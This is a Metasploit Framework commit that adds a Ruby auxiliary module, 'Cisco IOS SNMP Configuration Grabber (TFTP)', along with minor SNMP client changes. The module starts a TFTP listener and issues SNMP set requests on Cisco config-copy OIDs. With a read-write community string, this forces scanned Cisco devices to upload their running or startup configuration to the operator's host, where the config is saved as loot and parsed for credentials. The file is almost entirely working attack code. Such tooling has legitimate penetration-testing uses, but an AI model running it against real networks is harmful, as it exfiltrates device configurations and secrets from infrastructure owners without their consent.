This adds a TFTP version of #3345 (Pello's snmp config downloader). Still more work to do for the generic module
git-svn-id: file:///home/svn/framework3/trunk@11300 4d416f70-5f16-0410-b530-b9f4589650da
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HD Moore
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573c639c85
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4e4eb14887
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@ -47,6 +47,11 @@ module Auxiliary::Cisco
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:collect_type => "",
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:active => true
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}
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# Default SNMP to UDP
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if tport == 161
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cred_info[:proto] = 'udp'
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end
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store_loot("cisco.ios.config", "text/plain", thost, config.strip, "config.txt", "Cisco IOS Configuration")
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@ -43,8 +43,8 @@ module Exploit::Remote::SNMPClient
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version = :SNMPv2c if datastore['VERSION'] == '2c'
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snmp = ::SNMP::Manager.new(
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:Host => rhost,
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:Port => rport,
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:Host => opts['PeerHost'] || rhost,
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:Port => opts['PeerPort'] || rport,
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:Community => datastore['COMMUNITY'],
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:Version => version,
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:Timeout => datastore['TIMEOUT'],
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@ -0,0 +1,189 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::SNMPClient
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include Msf::Auxiliary::Cisco
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Cisco IOS SNMP Configuration Grabber (TFTP)',
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'Version' => '$Revision$',
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'Description' => %q{
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This module will download the startup or running configuration
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from a Cisco IOS device using SNMP and TFTP. A read-write SNMP
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community is required. The SNMP community scanner module can
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assist in identifying a read-write community. The target must
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be able to connect back to the Metasploit system and the use of
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NAT will cause the TFTP transfer to fail.
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},
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'Author' =>
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[
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'pello <fropert@packetfault.org>', 'hdm'
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptEnum.new("SOURCE", [true, "Grab the startup (3) or running (4) configuration", "4", ["3","4"]]),
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OptString.new('OUTPUTDIR', [ false, "The directory where we should save the configuration files (disabled by default)"]),
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OptAddress.new('LHOST', [ false, "The IP address of the system running this module" ])
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], self.class)
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end
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#
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# Hook for the TFTP Server to save incoming files via Proc
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#
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module TFTPCapture
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attr_accessor :incoming_file_hook
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def save_output(*args)
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if incoming_file_hook
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incoming_file_hook.call(*args)
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else
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super(*args)
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end
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end
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def fake_output_dir
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@output_dir = "/" + Rex::Text.rand_text_alphanumeric(128)
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end
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end
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#
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# Start the TFTP Server
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#
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def setup
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# Setup is called only once
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print_status("Starting TFTP server...")
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@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
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@tftp.extend(TFTPCapture)
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@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
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@tftp.fake_output_dir
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@tftp.start
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add_socket(@tftp.sock)
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@main_thread = ::Thread.current
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print_status("Scanning for vulnerable targets...")
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end
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#
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# Kill the TFTP server
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#
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def cleanup
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# Cleanup is called once for every single thread
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if ::Thread.current == @main_thread
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# Wait 5 seconds for background transfers to complete
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print_status("Providing some time for transfers to complete...")
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::IO.select(nil, nil, nil, 5.0)
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print_status("Shutting down the TFTP service...")
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if @tftp
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@tftp.close rescue nil
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@tftp = nil
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end
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end
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end
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#
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# Callback for incoming files
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#
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def process_incoming(info)
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return if not info[:file]
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name = info[:file][:name]
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data = info[:file][:data]
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from = info[:from]
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return if not (name and data)
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# Trim off IPv6 mapped IPv4 if necessary
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from = from[0].dup
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from.gsub!('::ffff:', '')
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print_status("Incoming file from #{from} - #{name} #{data.length} bytes")
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# Save the configuration file if a path is specified
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if datastore['OUTPUTDIR']
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name = "#{from}.txt"
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::FileUtils.mkdir_p(datastore['OUTPUTDIR'])
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path = ::File.join(datastore['OUTPUTDIR'], name)
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::File.open(path, "wb") do |fd|
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fd.write(data)
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end
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print_status("Saved configuration file to #{path}")
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end
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# Toss the configuration file to the parser
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cisco_ios_config_eater(from, 161, data)
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end
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def run_host(ip)
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begin
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source = datastore['SOURCE'].to_i
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protocol = 1
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filename = "#{ip}.txt"
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lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
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ccconfigcopyprotocol = "1.3.6.1.4.1.9.9.96.1.1.1.1.2."
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cccopysourcefiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.3."
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cccopydestfiletype = "1.3.6.1.4.1.9.9.96.1.1.1.1.4."
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cccopyserveraddress = "1.3.6.1.4.1.9.9.96.1.1.1.1.5."
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cccopyfilename = "1.3.6.1.4.1.9.9.96.1.1.1.1.6."
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cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14."
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cccopyentryrowstatus = "1.3.6.1.4.1.9.9.96.1.1.1.1.14."
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session = rand(255) + 1
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snmp = connect_snmp
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varbind = SNMP::VarBind.new("#{ccconfigcopyprotocol}#{session}" , SNMP::Integer.new(protocol))
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value = snmp.set(varbind)
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# If the above line didn't throw an error, the host is alive and the community is valid
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print_status("Trying to acquire configuration from #{ip}...")
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varbind = SNMP::VarBind.new("#{cccopysourcefiletype}#{session}" , SNMP::Integer.new(source))
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value = snmp.set(varbind)
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varbind = SNMP::VarBind.new("#{cccopydestfiletype}#{session}", SNMP::Integer.new(1))
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value = snmp.set(varbind)
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varbind = SNMP::VarBind.new("#{cccopyserveraddress}#{session}", SNMP::IpAddress.new(lhost))
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value = snmp.set(varbind)
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varbind = SNMP::VarBind.new("#{cccopyfilename}#{session}", SNMP::OctetString.new(filename))
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value = snmp.set(varbind)
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varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(1))
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value = snmp.set(varbind)
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varbind = SNMP::VarBind.new("#{cccopyentryrowstatus}#{session}", SNMP::Integer.new(6))
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value = snmp.set(varbind)
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disconnect_snmp
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# No need to make noise about timeouts
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rescue ::SNMP::RequestTimeout
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
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end
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end
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end
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